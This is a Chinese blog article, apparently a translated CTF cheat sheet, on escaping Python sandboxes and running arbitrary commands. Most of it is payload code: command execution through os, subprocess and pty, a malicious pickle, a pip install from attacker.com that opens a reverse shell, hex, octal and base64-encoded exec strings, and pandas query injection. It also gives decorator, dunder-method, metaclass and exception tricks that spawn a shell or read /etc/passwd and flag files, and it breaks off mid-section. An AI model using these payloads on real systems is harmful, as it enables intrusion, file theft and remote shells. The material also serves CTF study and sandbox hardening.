前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF - Python 沙箱绕过与任意命令执行技巧

CTF - Python 沙箱绕过与任意命令执行技巧

作者头像
井九
发布2024-10-12 10:06:32
4550
发布2024-10-12 10:06:32
举报
文章被收录于专栏:四楼没电梯

这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。

命令执行库

首先,您需要知道是否可以直接使用已导入的某些库执行代码,或者是否可以导入以下这些库:

代码语言:javascript
复制
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
# 导入函数以执行命令
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
# 其他有趣的函数
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
# 在 Python2.7 中
execfile('/usr/lib/python2.7/os.py')
system('ls')

请记住,openread函数对于读取 Python 沙箱内的文件以及编写可执行的代码以绕过沙箱非常有用。

Python2 的input()函数允许在程序崩溃之前执行 Python 代码。

Python 尝试首先从当前目录加载库(以下命令将打印 Python 从何处加载模块):python3 -c 'import sys; print(sys.path)'

绕过 pickle 沙箱与默认安装的 Python 包

默认包

您可以在此处找到预安装包的列表:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html

请注意,从 pickle 中,您可以使 Python 环境导入系统中安装的任意库。

例如,以下 pickle 在加载时将导入pip库以使用它:

代码语言:javascript
复制
# 请注意,这里我们导入 pip 库以便正确创建 pickle
# 然而,受害者甚至不需要安装该库来执行它
# 该库将自动加载
import pickle, os, base64, pip
class P(object):
    def __reduce__(self):
        return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))

有关 pickle 工作原理的更多信息,请查看此链接:https://checkoway.net/musings/pickle/

Pip 包

由@isHaacK 分享的技巧 如果您有权访问pippip.main(),您可以安装任意包并通过以下调用获得反向 shell:

代码语言:javascript
复制
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该解压缩它,更改setup.py,并放入您的 IP 以进行反向 shell 连接: 1KB Reverse.tar.gz

这个包称为 Reverse。但是,它经过特殊设计,以便当您退出反向 shell 时,其余的安装将失败,因此在您离开时不会在服务器上留下任何额外的 Python 包安装。

Eval-ing Python 代码

请注意,exec允许多行字符串和;,但eval不允许(检查 walrus 运算符) 如果某些字符被禁止,您可以使用十六进制/八进制/B64 表示来绕过限制:

代码语言:javascript
复制
exec("print('RCE'); __import__('os').system('ls')") # 使用 ";"
exec("print('RCE')\n__import__('os').system('ls')") # 使用 "\n"
eval("__import__('os').system('ls')") # Eval 不允许 ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) # 这样 eval 接受 ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
# 允许换行和制表符的单行代码
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
代码语言:javascript
复制
# 八进制
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
# 十六进制
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
# Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) # 仅 Python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

其他允许评估 Python 代码的库:

代码语言:javascript
复制
# Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# 前面的选项有效,但其他您可能尝试的会给出错误:
# 仅支持命名函数
# 例如:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
运算符和简短技巧
代码语言:javascript
复制
# walrus 运算符允许在列表中生成变量
## 一切都将按顺序执行
## 来自 https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## 这对于注入“eval”中的代码非常有用,因为它不支持多行或“;”

通过编码绕过保护(UTF - 7)

在本写入中,UFT - 7 用于在明显的沙箱内加载和执行任意 Python 代码:

代码语言:javascript
复制
assert b"+AAo - ".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
    return x
    # +AAo - print(open("/flag.txt").read())
""".lstrip()

也可以使用其他编码(例如raw_unicode_escapeunicode_escape)来绕过它。

Python 执行无需调用

如果您在一个不允许您进行调用的 Python 监狱中,仍然有一些方法可以执行任意函数、代码和命令。

RCE 与装饰器
代码语言:javascript
复制
# 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
@exec
@input
class X:
    pass
# 前面的代码等同于:
class X:
    pass
X = input(X)
X = exec(X)
# 因此,只需在提示时发送您的 Python 代码,它将被执行
# 另一种无需调用 input 的方法:
@eval
@'__import__("os").system("sh")'.format
class _:pass
RCE 创建对象和重载

如果您可以声明一个类并创建该类的对象,您可以编写/覆盖不同的方法,这些方法可以在不需要直接调用它们的情况下被触发。

RCE 与自定义类

您可以修改某些类方法(通过覆盖现有类方法或创建新类),以使它们在被触发时执行任意代码,而无需直接调用它们。

代码语言:javascript
复制
# 这个类有 3 种不同的方式在不直接调用任何函数的情况下触发 RCE
class RCE:
    def __init__(self):
        self += "print('Hello from __init__ + __iadd__')"
    __iadd__ = exec # 在对象创建时触发
    def __del__(self):
        self -= "print('Hello from __del__ + __isub__')"
    __isub__ = exec # 在对象创建时触发
    __getitem__ = exec # 用 obj[<参数>]触发
    __add__ = exec # 用 obj + <参数>触发
# 这些行直接滥用前面的类来获得 RCE
rce = RCE() # 稍后我们将看到如何在不调用构造函数的情况下创建对象
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce
# 这些行将在程序结束(退出)时获得 RCE
sys.modules["pwnd"] = RCE()
exit()
# 其他要覆盖的函数
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k!= 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")')(请注意,这仅在`from __future__ import division`生效时起作用。)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k <<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
通过元类创建对象

元类允许我们做的关键事情是通过创建一个以目标类为元类的新类,来创建一个类的实例,而无需直接调用构造函数。

代码语言:javascript
复制
# 代码来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/ 并修复
# 这将定义“子类”的成员
class Metaclass(type):
    __getitem__ = exec # 因此 Sub[string]将执行 exec(string)
# 注意:Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # 这就是我们使 Sub.__class__ == Metaclass 的方式
    pass # 无需特殊操作
Sub['import os; os.system("sh")']
## 您也可以使用前面部分的技巧来使用此对象获得 RCE
通过异常创建对象

当触发异常时,会创建 Exception 对象的实例,而无需您直接调用构造函数(来自@_nag0mez 的技巧):

代码语言:javascript
复制
class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec # 在对象创建时触发
raise RCE # 生成 RCE 对象
# RCE 与 __add__重载和 try/except + raise 生成的对象
class Klecko(Exception):
  __add__ = exec
try:
  raise Klecko
except Klecko as k:
  k + 'import os; os.system("sh")' # RCE 滥用 __add__

您也可以使用前面部分的技巧来使用此对象获得 RCE

更多 RCE

代码语言:javascript
复制
# 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
# 如果导入了 sys,您可以 sys.excepthook 并通过触发错误来触发它
class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0 # 触发它
# 来自 https://github.com/google/google - ctf/blob/master/2022/sandbox - treebox/healthcheck/solution.py
# 解释器将尝试导入特定于 apt 的模块,以潜在地
# 报告 ubuntu 提供的模块中的错误。
# 因此,__import__函数被我们的 RCE 覆盖
class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
使用 builtins 帮助和许可证读取文件
代码语言:javascript
复制
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

内置函数

Python2 的内置函数
Python3 的内置函数

如果您可以访问__builtins__对象,则可以导入库(请注意,您也可以在此处使用上一节中显示的其他字符串表示形式):

代码语言:javascript
复制
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
无内置函数

当您没有__builtins__时,您将无法导入任何东西,甚至无法读取或写入文件,因为所有全局函数(如openimportprint…)都未加载。

然而,默认情况下,Python 在内存中导入了很多模块。这些模块可能看起来无害,但其中一些也在内部导入了危险的功能,可以访问这些功能以获得甚至任意代码执行。

在以下示例中,您可以观察如何滥用这些“良性”模块中的一些来访问其内部的危险功能。

Python2
代码语言:javascript
复制
# 尝试重新加载 __builtins__
reload(__builtins__)
import __builtin__
# 读取恢复 <type 'file'> 在偏移量 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# 写入恢复 <type 'file'> 在偏移量 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行恢复 __import__(类 59s 是 <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# 执行(另一种方法)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# 执行恢复 eval 符号(类 59 是 <class 'warnings.catch_warnings'>
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-09-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 命令执行库
  • 绕过 pickle 沙箱与默认安装的 Python 包
    • 默认包
      • Pip 包
      • Eval-ing Python 代码
        • 运算符和简短技巧
        • 通过编码绕过保护(UTF - 7)
        • Python 执行无需调用
          • RCE 与装饰器
            • RCE 创建对象和重载
              • RCE 与自定义类
                • 通过元类创建对象
                  • 通过异常创建对象
                  • 您也可以使用前面部分的技巧来使用此对象获得 RCE
                  • 更多 RCE
                    • 使用 builtins 帮助和许可证读取文件
                    • 内置函数
                      • Python2 的内置函数
                        • Python3 的内置函数
                          • 无内置函数
                            • Python2
                            相关产品与服务
                            云服务器
                            云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
                            领券
                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档